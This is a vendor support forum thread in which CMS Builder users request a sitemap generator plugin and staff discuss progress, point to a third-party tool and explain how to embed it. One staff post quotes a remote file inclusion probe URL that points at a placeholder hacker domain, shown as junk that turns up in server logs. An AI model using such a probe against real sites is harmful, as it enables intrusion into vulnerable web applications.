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equinox69
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Jan 20, 2010, 12:53 PM

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IT,
What about building a sitemap generator plugin and have it output to 3 or 4 types of sitemap options:

urllist.txt
sitemap.html
sitemap.xml and/or sitemap.xml.gz
ror.xml

Wouldn't this be a "relatively" simple set up for you? Having it integratable with CMSB it would be easier and more manageable, and probably handle large lists (database driven).


Chris
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Jan 22, 2010, 5:12 PM

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Hi equinox69,

That's an interesting idea.

We're working on a plugin to dynamically harvest Viewer URLs right now for SEO purposes. Theoretically, we could use the code we develop writing that plugin (which is still in the design phase) to build a site map plugin.

Stay tuned! :)
Chris


equinox69
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Jan 22, 2010, 5:43 PM

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That's EXACTLY what I was thinking. Interesting, too, I've asked on several occasions for a simple URL generator (for SEO and advertising purposes). How far out are you on this plugin? I'm MORE than interested.


Chris
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Jan 25, 2010, 1:00 PM

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Hi equinox69,

It's still very much in the design phase. We'll let you know when it becomes available for beta or alpha testing! :D
Chris


InHouse
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Mar 4, 2010, 9:53 AM

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I'd like to put in a vote to support this function also. I dabbled with creating one myself but the issue really stalled when I realized that I had to grab the real world URLs for the content and not just the internal pointers from CMSB.

This would be a Must Have plug-in for me.

Jayme


Dave
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Mar 17, 2010, 11:05 AM

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Hi Jayme,

We've got a system live on this site right now that auto-detects and adds urls. It works great because it can adapt to any website, except for the issue of hacker urls showing up such as:

/about/index.php?kat=http://[hacker-domain]/modules/mod_sections/id1.txt???

There's lots of automated scanners constantly checking websites for known vulnerabilities.

So we're still working on how to detect the valid urls, and somehow ignore the invalid urls.

I'll keep you updated on our progress.

Dave Edis - Senior Developer
interactivetools.com
 


InHouse
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Mar 17, 2010, 11:35 AM

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Wonderful. Thanks Dave. I'll be excited to see what you come up with!
J.


aev
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Mar 18, 2010, 1:36 AM

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Dave,

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There's lots of automated scanners constantly checking websites for known vulnerabilities.

this got me a bit worried, maybe this would be great topic to cover in an upcoming newsletter. A bit more on how this threat works and how your customers (me/us) can protect their CMSB installations from this.

..or simply explain it here if that is more convenient.


-aev-


Donna
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Mar 18, 2010, 2:52 PM

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Hi there!

Well, there's nothing dangerous about people *looking* for vulnerabilities. It's only when they find them that there's a problem. :)

There are no known vulnerabilities with CMS Builder, so at the moment that's not an issue. These scans (like the one Dave mentioned above) are usually directed at specific software, especially older versions of things like Wordpress and phpBB that had plenty of known security holes. In fact, I *cough* let my own site get hacked once by forgetting that I had an old version of Wordpress on a disused domain.

Anyway, the best way to guard against that? Always make sure your software is as up to date as possible, even those old sites that you don't think about too often. :)

Again, CMS Builder has no known vulnerabilities, and if there were we would patch it ASAP and recommend upgrades for everybody immediately. As of yet, that's never happened. We try to be pretty meticulous about that.

Donna

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Dave
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Mar 18, 2010, 4:18 PM

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It's mostly just an annoyance, with fake url requests filling up web server logs, etc.

Dave Edis - Senior Developer
interactivetools.com
 


equinox69
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Mar 29, 2010, 2:43 PM

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Dave, what if your scanner/checker matched the live urls against the CMSB generated urls? The only valid urls on that domain that would fail the test would be ones not generated by CMSB and you could eliminate that problem by having an approved additional URL list (inside CMSB). Just a thought.


equinox69
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Apr 6, 2010, 2:48 PM

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Re: [chris] What about Plugin for SiteMap Generation? [In reply to] Can't Post
Is IT any closer on this type of plugin?Cool


Dave
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Apr 9, 2010, 12:39 PM

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Not yet, we have a few others almost ready to release though.

Dave Edis - Senior Developer
interactivetools.com
 


Toledoh
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Oct 27, 2011, 3:35 PM

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Anything further on this one guys?
Cheers,

Tim Forrest
Toledoh Enterprises
www.toledoh.com.au


Collin
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Oct 27, 2011, 6:22 PM

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We don't have a plugin for this yet. But for now you can use this sitemap generation tool:

http://enarion.net/tools/phpsitemapng/

The generated page can then be added as a link section in cmsb.


Toledoh
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Oct 27, 2011, 6:26 PM

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Thanks Collin!
Cheers,

Tim Forrest
Toledoh Enterprises
www.toledoh.com.au


Dave
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Oct 28, 2011, 12:32 PM

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What we did with that one was to actually use the "inline iframe" menu link so the 3rd party app appeared fully integrated into the CMSB menu.

This is a great trick when you need to integrate two or more systems. You can even provide instructions or login details for 3rd party apps by entering some text under "Display Message" when creating/modifying your inline iframe link.

Hope that helps!

Dave Edis - Senior Developer
interactivetools.com
 


Toledoh
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Oct 28, 2011, 9:31 PM

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This is great - installed and working in a matter of minutes.

Thanks Guys!
Cheers,

Tim Forrest
Toledoh Enterprises
www.toledoh.com.au


equinox69
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Nov 5, 2011, 4:28 PM

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To really make this function work it should literally be a part of CMSB. One of CMSB's power features is building pages on the fly as the user/owner changes the site. The sitemap generator function needs to be able to update the sitemaps just as quickly as the pages are built and actually change the file on the domain. (set as a daily or bi-daily cron job so it's not always hammering the server). If it runs only when someone decides they want to run it, then that defeats a major part of the purpose of having this function built in. Without such a function, an administrator has to use a third party to create the sitemaps and then ftp/upload the sitemaps to the site. Having it built in to the system is what's needed so the whole process is done seamlessly and regularly. For most CMSB sites, CMSB already builds all the pages so it's a natural fit. CMSB is already on the server and has access to depositing the sitemaps right into the root directory.


Toledoh
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Nov 6, 2011, 12:26 AM

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Agreed, but this is a good "available now"
Cheers,

Tim Forrest
Toledoh Enterprises
www.toledoh.com.au